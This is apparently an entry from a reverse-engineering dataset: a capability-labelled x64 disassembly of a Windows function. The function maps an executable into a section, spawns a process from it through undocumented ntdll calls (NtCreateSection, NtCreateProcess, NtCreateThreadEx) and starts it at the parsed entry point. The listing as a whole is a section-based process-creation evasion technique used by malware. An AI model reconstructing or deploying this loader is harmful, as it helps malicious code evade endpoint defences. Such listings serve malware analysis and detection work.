Function at 0x140001540
Capabilities:
Get file size
Link many functions at runtime
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push rbp
push rdi
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x178], rax
xor r15d, r15d
lea rcx, str.botas.exe
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Error_Code__08X_r_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000187c
mov qword [rsp + 0x2a0], rbx
lea rdx, [rbp + 0x140]
mov rcx, rdi
mov qword [rsp + 0x2a8], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea ebx, [rax - 4]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rbp + 0x140]
mov qword [rsp + 0x20], r15
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001aa3
mov edx, dword [rbp + 0x140]
lea rcx, str.Success____d_bytes_readed_r_n
call fcn.140001010
lea r9, [rbp + 0x140]
mov qword [rsp + 0x20], r15
mov r8d, 4
lea rdx, [rbp + 0x144]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001aa3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp + 0x144]
lea rcx, str.Success____d_bytes_writed_r_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Creating_Section_File_Mapping...
mov rbx, rax
call fcn.140001010
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
call rbx
lfence
test eax, eax
jns 0x1400016e7
mov edx, eax
lea rcx, str.Failed___Error_Code__X_r_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000186c
lea rcx, str.Success_r_n
call fcn.140001010
lea rcx, str.__Creating_Map_View_from_the_file...
call fcn.140001010
mov ebx, dword [rbp + 0x144]
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], r15d
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rsi, rax
test rax, rax
jne 0x140001742
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Cannot_create_a_map_from_the_File__08X
call fcn.140001010
jmp 0x14000186c
lfence
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rcx, rsi
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
lfence
test rax, rax
jne 0x14000178a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___Cannot_map_the_File__08X
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000186c
mov eax, 0x5a4d
mov qword [rsp + 0x2b0], r14
cmp word [rbx], ax
jne 0x1400017bd
lfence
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jg 0x1400017bd
cmp dword [rax + rbx], 0x4550
jne 0x1400017bd
lfence
mov r14d, dword [rax + rbx + 0x28]
jmp 0x1400017c0
mov r14d, r15d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lfence
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, r14d
lea rcx, str.Success___Entry_point_0x_08X_r_n
call fcn.140001010
lea rcx, str.ntdll
mov qword [rsp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Creating_Child_Process...
mov rbx, rax
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov r9, rax
mov qword [rsp + 0x30], r15
mov edx, 0x1fffff
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x20], 1
call rbx
test eax, eax
jns 0x140001897
lfence
mov edx, eax
lea rcx, str.Failed___Error_Code__X_r_n
call fcn.140001010
mov r14, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x2a8]
mov rcx, qword [rbp + 0x178]
xor rcx, rsp
call fcn.140001af0
add rsp, 0x280
pop r15
pop rdi
pop rbp
ret
xorps xmm0, xmm0
lea rcx, str.ntdll
movups xmmword [rbp + 0x148], xmm0
movups xmmword [rbp + 0x158], xmm0
movups xmmword [rbp + 0x168], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x60]
lea r8, [rbp + 0x148]
mov r9d, 0x30
mov qword [rsp + 0x20], r15
xor edx, edx
call rax
test eax, eax
jns 0x1400018fc
lea rcx, str.Failed___NtQueryInformationProcess_failed_r_n
call fcn.140001010
jmp 0x140001864
lfence
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
lea rcx, str.Success___Process_ID__d_r_n
call fcn.140001010
lea rcx, str.__Assigning_Process_Arguments_and_Environment_Variables...
call fcn.140001010
mov ecx, 0x14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xorps xmm0, xmm0
lea rdx, str.botas.exe
mov rbx, rax
xor eax, eax
mov rcx, rbx
movups xmmword [rbx], xmm0
lea r8d, [rax + 9]
mov dword [rbx + 0x10], eax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x148]
mov r8, rbx
call fcn.140001070
test eax, eax
je 0x140001864
lfence
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.Success_r_n
call fcn.140001010
mov rdi, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
xor edx, edx
mov r8d, 0x1b8
call sub.VCRUNTIME140.dll_memset
mov rbx, qword [rbp + 0x150]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtReadVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x1b8
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x80]
mov rdx, rbx
mov rcx, rdi
call rax
test eax, eax
jns 0x1400019ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_read_remote_PEB____08X
jmp 0x14000185f
mov edi, r14d
lea rcx, str.ntdll
add rdi, qword [rbp - 0x70]
mov qword [rsp + 0x68], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.__Creating_Child_Thread...
mov rbx, rax
call fcn.140001010
mov r9, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
mov edx, 0x1fffff
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
call rbx
test eax, eax
jns 0x140001a75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed___NtCreateThreadEx_failed___Error_Code__08X_r_n
jmp 0x14000185f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov edx, eax
lea rcx, str.Success___Threat_ID__d_r_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001864
lea rcx, str.Failed___Unable_to_read_file_Content_r_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000186c